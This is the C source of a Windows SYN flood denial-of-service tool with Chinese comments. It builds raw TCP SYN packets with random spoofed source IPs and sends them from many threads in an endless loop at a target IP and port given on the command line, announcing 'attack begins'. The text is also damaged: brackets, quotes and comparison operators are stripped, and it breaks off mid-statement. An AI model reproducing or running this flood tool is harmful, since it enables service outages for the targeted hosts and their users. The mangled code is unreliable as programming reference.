#includestdlib.h#includestdio.h#includewinsock2.h#includews2tcpip.h#includetime.h#pragmacomment(lib,ws2_32.lib)#definePacketNum1024intMaxThread;//最大线程数量intCurrentThread=0;//当前活动线程数量charSendBuff[PacketNum][60]={0};//1024个数据包SOCKADDR_INSin;typedefstructip_hdr//定义IP首部{unsignedcharh_verlen;//4位首部长度,4位IP版本号unsignedchartos;//8位服务类型TOSunsignedshorttotal_len;//16位总长度(字节)unsignedshortident;//16位标识unsignedshortfrag_and_flags;//3位标志位unsignedcharttl;//8位生存时间TTLunsignedcharproto;//8位协议(TCP,UDP或其他)unsignedshortchecksum;//16位IP首部校验和unsignedintsourceIP;//32位源IP地址unsignedintdestIP;//32位目的IP地址}IP_HEADER;typedefstructtcp_hdr//定义TCP首部{USHORTth_sport;//16位源端口USHORTth_dport;//16位目的端口unsignedintth_seq;//32位序列号unsignedintth_ack;//32位确认号unsignedcharth_lenres;//4位首部长度/6位保留字unsignedcharth_flag;//6位标志位USHORTth_win;//16位窗口大小USHORTth_sum;//16位校验和USHORTth_urp;//16位紧急数据偏移量}TCP_HEADER;typedefstructtsd_hdr//定义TCP伪首部,用于计算校检和{unsignedlongsaddr;//源地址unsignedlongdaddr;//目的地址charmbz;charptcl;//协议类型unsignedshorttcpl;//TCP长度}PSD_HEADER;//函数声明intsetup(char*,char*);//生成数据包DWORDWINAPIsend_packet(LPVOID);//发送数据函数USHORTchecksum(USHORT*,int);//计算检验和函数voidwatchthread(void);//检测当前线程数量//进行初始设置,计算特定ip,特定端口,特定tcp序列号的检验和,生成数据包intsetup(char*DestIp,char*DestPort){charsrc_ip[20]={0};//源IPUSHORTsrc_port;//源端口chardst_ip[20]={0};//目的IPUSHORTdst_port;//目的端口IP_HEADERIpHeader;TCP_HEADERTcpHeader;PSD_HEADERPsdHeader;if(strlen(DestIp)=16){printf(目的IP不对\n);return-1;}strcpy(dst_ip,DestIp);if(atoi(DestPort)0||atoi(DestPort)65535){printf(目的端口不对\n);return-1;}//定址Sin.sin_family=AF_INET;Sin.sin_port=atoi(DestPort);Sin.sin_addr.s_addr=inet_addr(dst_ip);srand((unsigned)time(NULL));//用于产生随机数for(intn=0;nPacketNum;n++){//填充IP首部wsprintf(src_ip,%d.%d.%d.%d,rand()%250+1,rand()%250+1,rand()%250+1,rand()%250+1);IpHeader.h_verlen=(44|sizeof(IpHeader)/sizeof(unsignedlong));IpHeader.tos=0;IpHeader.total_len=htons(sizeof(IpHeader)+sizeof(TcpHeader));IpHeader.ident=1;IpHeader.frag_and_flags=0x40;IpHeader.ttl=128;IpHeader.proto=IPPROTO_TCP;IpHeader.checksum=0;IpHeader.sourceIP=inet_addr(src_ip);IpHeader.destIP=inet_addr(dst_ip);//填充TCP首部TcpHeader.th_sport=htons(rand()%60000+1);//源端口号TcpHeader.th_dport=htons(atoi(DestPort));TcpHeader.th_seq=htonl(rand()%900000000+1);TcpHeader.th_ack=0;TcpHeader.th_lenres=(sizeof(TcpHeader)/44|0);TcpHeader.th_flag=2;//0,2,4,8,16,32-FIN,SYN,RST,PSH,ACK,URGTcpHeader.th_win=htons(512);TcpHeader.th_sum=0;TcpHeader.th_urp=0;PsdHeader.saddr=IpHeader.sourceIP;PsdHeader.daddr=IpHeader.destIP;PsdHeader.mbz=0;PsdHeader.ptcl=IPPROTO_TCP;PsdHeader.tcpl=htons(sizeof(TcpHeader));//计算TCP校验和memcpy(SendBuff[n],&PsdHeader,sizeof(PsdHeader));memcpy(SendBuff[n]+sizeof(PsdHeader),&TcpHeader,sizeof(TcpHeader));TcpHeader.th_sum=checksum((USHORT*)SendBuff[n],sizeof(PsdHeader)+sizeof(TcpHeader));//计算IP检验和memcpy(SendBuff[n],&IpHeader,sizeof(IpHeader));memcpy(SendBuff[n]+sizeof(IpHeader),&TcpHeader,sizeof(TcpHeader));memset(SendBuff[n]+sizeof(IpHeader)+sizeof(TcpHeader),0,4);IpHeader.checksum=checksum((USHORT*)SendBuff[n],sizeof(IpHeader)+sizeof(TcpHeader));memcpy(SendBuff[n],&IpHeader,sizeof(IpHeader));memcpy(SendBuff[n]+sizeof(IpHeader),&TcpHeader,sizeof(TcpHeader));}return1;}//向目标主机发送syn数据包DWORDWINAPIsend_packet(LPVOIDP){SOCKETSendSocket;BOOLFlag;intTimeout;int*T=(int*)P;intTmp=*T;//建立原生数据socketSendSocket=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if(SendSocket==INVALID_SOCKET){CurrentThread--;return0;}//设置自己填充数据包Flag=TRUE;if(setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR){printf(Setsockopt发生错误\n);CurrentThread--;return0;}//设置超时时间Timeout=1000;if(setsockopt(SendSocket,SOL_SOCKET,SO_SNDTIMEO,(char*)&Timeout,sizeof(Timeout))==SOCKET_ERROR){CurrentThread--;return0;}//发送数据包intRet=sendto(SendSocket,SendBuff[Tmp],sizeof(IP_HEADER)+sizeof(TCP_HEADER),0,(structsockaddr*)&Sin,sizeof(Sin));if(Ret==SOCKET_ERROR){printf(ErrorCode:%d\n,GetLastError());CurrentThread--;return0;}else{CurrentThread--;return1;}}//检测当前线程数量,如果大于等于最大线程数量则休眠0.1秒等待其他线程退出voidwatchthread(){while(1){if(CurrentThread=MaxThread){Sleep(100);}elsebreak;}}//计算检验和USHORTchecksum(USHORT*buffer,intsize){unsignedlongcksum=0;while(size1){cksum+=*buffer++;size-=sizeof(USHORT);}if(size){cksum+=*(UCHAR*)buffer;}cksum=(cksum16)+(cksum&0xffff);cksum+=(cksum16);return(USHORT)(~cksum);}//main函数intmain(intargc,char*argv[]){WSADATAWSAData;DWORDThreadID=1;HANDLEThreadHandle=NULL;if(argc!=4){printf(\n%s\tTargetIP\tTargetPort\tMaxThread\n,argv[0]);return-1;}if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){printf(初始化WSAStartu失败\n);return-1;}if(atoi(argv[3])0&&atoi(argv[3])150){MaxThread=atoi(argv[3]);}else{printf(最大线程数量错误,必须大于0且小于150);return-1;}//初始化数据包,储存到数组当中。if(setup(argv[1],argv[2])==1){printf(初始化完成\n);}else{printf(初始化失败\n);return-1;}printf(攻击开始...\n);while(1){ThreadID=1;for(intTmp=0;TmpPacketNum;Tmp++){watchthread();ThreadID++;ThreadHandle=CreateThread(NULL,0,send_packet,&Tmp,0,&ThreadID);if(ThreadHandle=NULL){CurrentThread--;}else{CurrentThread++;}CloseHandl